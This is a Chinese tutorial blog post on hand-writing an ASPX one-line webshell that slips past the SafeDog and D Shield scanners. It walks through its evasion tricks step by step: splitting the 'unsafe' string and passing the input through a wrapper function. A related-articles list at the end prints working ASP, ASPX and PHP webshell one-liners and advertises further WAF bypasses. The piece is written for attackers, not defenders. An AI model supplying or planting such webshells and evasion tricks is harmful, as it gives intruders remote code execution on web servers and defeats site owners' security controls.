如何自己写aspx过狗D盾一句话木马
hi,我是凉风,(以下内容纯属个人见解,如有不同的意见欢迎回复指出) ,本菜比发现aspx过狗的姿势不常见,不像php一样一抓一大把,于是我决定研究一下aspx
引用i春秋作家团大佬@非主流 对一句话木马的理解:
一句话木马的意思就是,我们制造了一个包含远程代码执行漏洞的web页面。
目录:
0×01:我没有aspx代码编写基础,我该从哪入手?
0×02:正式开始:从过狗菜刀配置文件里寻找思路
0×03:再写一个:分析各种拦截机制,一一绕过
0×04:总结
0×01:我没有aspx代码编写基础,我该从哪入手?

在这里,本菜比与小白们一起学习:如何自己写aspx过狗一句话木马
“授人以鱼不如授人以渔”
前期准备(建议,自行决定):
(1)了解aspx,aspx的百度百科至少看一遍,看懂aspx一句话木马
(2)准备好可以查资料的网站(aspx语法、函数等必备知识)、工具,例如官方手册(chm文件)。
(3)本地搭建环境,装好安全狗,D盾顺便也装了
(4)菜刀肯定不可少
aspx文件就是asp.net文件,需要.net 环境,用“C#”,“Jscript”等语言编写。
Jscript手册我会放在附件里
我用的是2003server+iis+asp.net环境,装了 .net 2.0与4.0
0×02:正式开始:从过狗菜刀配置文件里寻找思路
我并不会aspx,起步的时候很难凭空弄个过狗的出来,那么就要自己想办法。
因为曾经分析过:过狗菜刀php的配置,配置里过狗的思路与php过狗木马类似,所以我在没学过aspx并且没有过狗的aspx一句话作为参考的时候,突然想到酱紫做。
曾经的分析:https://bbs.ichunqiu.com/thread-26196-1-1.html
我们看一下配置文件关于aspx的部分:
先根据它的格式还原回正常的代码(把%%换回%)
可以看有一部分是经过url编码的,因为asp.net文件貌似不能直接解析,所以先还原,看还原之后的代码。
利用网上的在线解码直接转码:

因为我曾分析过,知道:其中%s是菜刀要执行的经过base64加密的命令。
所以应该有一个base64解密函数,以及代码执行函数
这两个函数很容易找出来,

其中编码为:65001,这是utf-8。
仔细看了看有些不对劲,aspx代码部分只给了这两个函数,也就是说,aspx过狗的那一部分主要是前半段的url编码。找到的这两个函数并没有使用过狗的姿势。难道这次分析白费了?先试试再说吧,简单利用base64解密函数。(本来就没学过aspx,知道个base64解密函数也不亏了)
看我操作

我用安全狗、D盾扫描了一下,居然奇迹般的绕过了
再用菜刀连接,没问题。
(注:D盾防护全开后,将限制木马的权限,不在本文考虑范围,本文只使用D盾的后门扫描功能,安全狗全开)
0×03:再写一个:分析各种拦截机制,一一绕过
第一种方法感觉有运气成分在内,并不是我希望看到的,所以再写一个吧
这回我们靠自己。
一行一行的写代码,看看他什么时候会拦截
不再使用base64解密函数,自己寻找别的方法。
写一个光明正大的aspx木马

安全狗拦截,可是D盾只是可疑的级别,也就是说,如果只装D盾,木马不会被拦截。(已测试哦)
再改改

这次删掉了unsafe参数,安全狗照样拦截,但是D盾什么也扫不出。.net 4.0 下的eval的第二个参数取消,也就是说.net
4.0开发的网站,只装D盾,这个木马就可以绕过。但是为了兼容性,我们试着绕过“unsafe”这个拦截机制,(可以用base64解密,但是我说过不用)
用字符串拼接的方法:

安全狗还是没绕过,但是D盾没检测出unsafe参数被加进去,所以什么也没扫到。
接下来就是绕过安全狗了。
第二个参数做了绕过D盾处理,那么第一个参数来绕过安全狗的检测吧,有经验的人都知道安全狗没那么严格,第二个参数的unsafe应该不会被安全狗拦截。

创了一个函数fun(),直接返回接收到的pass的内容,也就是说经过了一个函数的传递,安全狗就不认识了。
菜刀连接成功,没问题
0×04:总结
aspx的函数没有php的函数多,个人感觉aspx花样不多,所以绕过waf的姿势不像php一样多。但是由于使用aspx的网站没有php的那么多,所以waf对aspx的重视程度没有php的大。
(学习)方法很重要,之前我没有具体分析waf的一些拦截机制,直接使用各种错误的姿势,走了一堆弯路,后来一步一步试,看怎样会被拦截(就像测试sql注入绕过一样)。用这种方法感觉效率快多了,而且思路清晰连贯。
如何自己写aspx过狗D盾一句话木马的更多相关文章
- python写一个能生成三种一句话木马的脚本
代码: import time import os from threading import Thread import optparse def aspyijuhua(): try: juy=op ...
- 一句话木马变形(截止2020年8月16日通杀D盾、安全狗,微步,webshellKiller)
首先一句话木马: <?php assert($_POST['a']); ?> D盾扫描,5级 分开写: <?php $a = "assert"; $b = $_P ...
- 一句话木马:ASPX篇
aspx木马收集: <%@ Page Language="Jscript"%><%eval(Request.Item["chopper"],& ...
- 渗透技术--SQL注入写一句话木马原理
讲一下SQL注入中写一句话拿webshell的原理,主要使用的是 SELECT ... INTO OUTFILE 这个语句,下面是一个语句的例子: SELECT * INTO OUTFILE 'C:\ ...
- 简单的一句话木马(asp aspx php)
一句话木马: 1. #asp <%execute(request("pass"))%> 2. #php <?php eval($_POST[pass]);?> ...
- [WEB]绕过安全狗与360PHP一句话的编写
00x01安全狗的确是让人很头痛,尤其是在上传一句话或者写入一句话的时候,会被安全狗拦截从而拿不下shell.当然,安全狗是最简单的一款waf,很容易就进行一个绕过.00x02对于绕过安全狗跟360, ...
- thinkphp下的Webshell&&php过D盾一句话
环境: Thinkphp 5.0.15 PHP version:7.0.12 WAF: D盾 ,安全狗 Thinkphp 采用 MVC 模式 核心:模块 -> 控制器 –> 方法 思路: ...
- PHP一句话木马小总结与SQL语句写一句话木马
一.基础类的一句话--功能仅限于验证漏洞了,实际中太容易被查出出来: <?php @eval($_GET["code"])?> <?php @system($_P ...
- PHP结合SQL语句写一句话木马
一.基础类的一句话--功能仅限于验证漏洞了,实际中太容易被查出出来: 1 <?php @eval($_GET["code"])?> 2 <?php @system ...
随机推荐
- 与DispatcherServlet的 url-pattern配置问题
<!--当DispatcherServlet 的url-pattern配置成/ 访问不到静态资源 的解决方法1:使用Tomcat默认的Servlet解决 --> 在web.xml中加以下代 ...
- java对象转json对象
org.java类 public class orgs { private String id; private String name; public String getId() { return ...
- cas-client登录后报INVALID_PROXY_CALLBACK
服务器部署cas,登录后页面提示INVALID_PROXY_CALLBACK 然后查看cas的日志,日志报以下错误: 2018-06-29 11:36:06,251 ERROR [org.jasig. ...
- UITextFeild银行卡/身份证/电话号任意分割.
日常开发中可能有个需求, 1.银行卡每4位添加一个空格 2.电话号:3 4 4 比如(138 8888 8888)3.身份证(411111 20171213 1314) 看了网上许多方法都是输入的时 ...
- php解决时间超过2038年
问题 超过2038年的时间 php怎么处理? echo date('Y-m-d',2147483647); //date函数能处理的最大整数2147483647 ->2038-01-19 就是2 ...
- windows-x64 php5.6+apache2.4+mysql配置
随手一记, 方便以后查找! 1.安装apache2.4 - 下载压缩文件并解压到 D:\Develop\Apache24 - 修改 conf 目录下: httpd.conf 文件 - 服务器目录: ...
- golang C相互调用带参数
test.h #ifndef __TEST_H__ #define __TEST_H__ void SetFunc(char* str); extern void InternalFunc(char* ...
- java中double和float精度丢失问题
为什么会出现这个问题呢,就这是java和其它计算机语言都会出现的问题,下面我们分析一下为什么会出现这个问题:float和double类型主要是为了科学计算和工程计算而设计的.他们执行二进制浮点运算,这 ...
- MySQL性能调优与架构设计——第1章 MySQL 基本介绍
第1章 MySQL 基本介绍 前言:作为最为流行的开源数据库软件之一, MySQL 数据库软件已经是广为人知了. 但是为了照顾对MySQL还不熟悉的读者,这章我们将对 MySQL 做一个简单的介绍.主 ...
- Linux 基础教程 45-read命令
基本用法 read命令主要用于从标准输入读取内容或从文件中读取内容,并把信息保存到变量中.其常用用法如下所示: read [选项] [文件] 选项 解释 -a array 将内容读取到数值中, ...